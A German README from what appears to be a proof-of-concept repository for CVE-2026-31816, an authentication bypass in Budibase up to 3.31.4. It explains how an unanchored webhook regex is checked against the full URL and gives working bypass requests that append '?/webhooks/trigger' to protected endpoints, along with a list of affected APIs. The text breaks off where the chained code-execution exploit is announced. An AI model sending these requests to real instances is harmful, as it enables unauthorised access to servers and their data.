k3ystr0k3r/cve-2026-31816CVE-2026-31816 – Budibase-Authentifizierungsumgehung bis hin zur Remote-Codeausführung (RCE)
CVE-2026-31816 ist eine kritische Schwachstelle zur Umgehung von Authentifizierung und Autorisierung, die Budibase betrifft.
Die Schwachstelle befindet sich in der serverseitigen Autorisierungs-Middleware, die für den Schutz von API-Endpunkten verantwortlich ist. Budibase versucht, legitime Webhook-Endpunkte mithilfe eines nicht verankerten regulären Ausdrucks zu identifizieren, und wertet diesen Ausdruck gegen das ctx.request.url von Koa aus.
Da ctx.request.url den Query-String enthält, kann ein Angreifer einen webhookartigen Pfad in die Query-Komponente einer ansonsten nicht verwandten API-Anfrage einschleusen.
Zum Beispiel:
/api/integrations?/webhooks/trigger
Die Anfrage zielt tatsächlich nicht auf den Webhook-Endpunkt ab. Die verwundbare Prüfung kann /webhooks/trigger jedoch als Beleg dafür interpretieren, dass es sich um eine legitime Webhook-Anfrage handelt, und die Ausführung ohne die normalen Authentifizierungs- und Autorisierungsprüfungen fortsetzen lassen.
NVD beschreibt das Problem dahingehend, dass ein vollständig nicht authentifizierter Remote-Angreifer auf serverseitige API-Endpunkte zugreifen kann, indem er ein Webhook-Pfadmuster an die URL anhängt.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-31816 |
| Anbieter | Budibase |
| Produkt | Budibase |
| Betroffene Versionen | <= 3.31.4 |
| Schweregrad | Kritisch |
| CVSS v3.1 | 9.1 |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Angriffsvektor | Netzwerk |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Authentifizierung erforderlich | Nein |
NVD führt Budibase-Versionen bis einschließlich 3.31.4 als betroffen auf und vergibt einen CVSS-3.1-Score von 9.1.
Die verwundbare Logik dreht sich um die Webhook-Erkennung, die vor der normalen Autorisierung durchgeführt wird.
Das Security Advisory dokumentiert Code, der konzeptionell wie folgt äquivalent ist:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
Das Problem ist die Kombination zweier Verhaltensweisen:
ctx.request.url enthält den Query-String.Das bedeutet, dass der Ausdruck nicht dem tatsächlichen Anforderungspfad entsprechen muss.
Eine Anfrage wie:
/api/some/protected/endpoint?/webhooks/trigger
enthält dennoch die Zeichenfolge:
/webhooks/trigger
innerhalb der getesteten URL.
Die Autorisierungs-Middleware behandelt die Anfrage daraufhin als Webhook-Anfrage und erreicht den Endpunkt, ohne den normalen Autorisierungsablauf durchzuführen.
Das Budibase-Security-Advisory nennt dies ausdrücklich als zugrunde liegenden Fehler und merkt an, dass die Umgehung Authentifizierung, Autorisierung, Rollenprüfungen und CSRF-Schutz überspringt.
Eine normale Anfrage an einen geschützten API-Endpunkt würde erwartungsgemäß die Authentifizierungsschicht durchlaufen.
Zum Beispiel:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
Eine verwundbare Instanz kann stattdessen mit dem Webhook-Query-String-Muster erreicht werden:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
Der wichtigste Teil ist:
?/webhooks/trigger
Der Endpunkt selbst hat sich nicht geändert:
/api/integrations
Lediglich der Query-String wurde verändert.
Das öffentliche Budibase-Advisory demonstriert genau diese Technik gegen /api/integrations und mehrere andere serverseitige Endpunkte.
Eine sichere Methode, die Authentifizierungsumgehung in einer kontrollierten Laborumgebung zu verifizieren, besteht darin, eine gewöhnliche Anfrage mit der Webhook-Query-Variante zu vergleichen.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
Der verwundbare Server kann die zweite Anfrage verarbeiten, ohne die Authentifizierungsprüfungen durchzuführen, die den Endpunkt normalerweise schützen.
Ein veröffentlichter PoC verwendet ebenfalls:
/api/integrations?/webhooks/trigger
als einfache Schwachstellenprüfung.
Das Folgende zeigt die Struktur einer authentifizierten API-Anfrage, die durch Hinzufügen des Webhook-Musters in eine nicht authentifizierte Anfrage umgewandelt wird.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
Das offizielle Budibase-Advisory dokumentiert diesen Endpunkt als eine der betroffenen API-Oberflächen.
Weitere serverseitige Endpunkte, die über denselben Fehler als erreichbar dokumentiert sind, umfassen:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
Die entscheidende Beobachtung ist, dass die Schwachstelle nicht an eine bestimmte Anwendungsressource gebunden ist. Die betroffene Autorisierungs-Middleware sitzt vor einer breiten Menge serverseitiger APIs.
Die Authentifizierungsumgehung kann erheblich ernster werden, wenn sie mit einer sensiblen API kombiniert wird, die in der Lage ist, vom Angreifer kontrollierte Funktionalität anzunehmen.
Der PoC in diesem Repository verkettet die Schwachstelle wie folgt: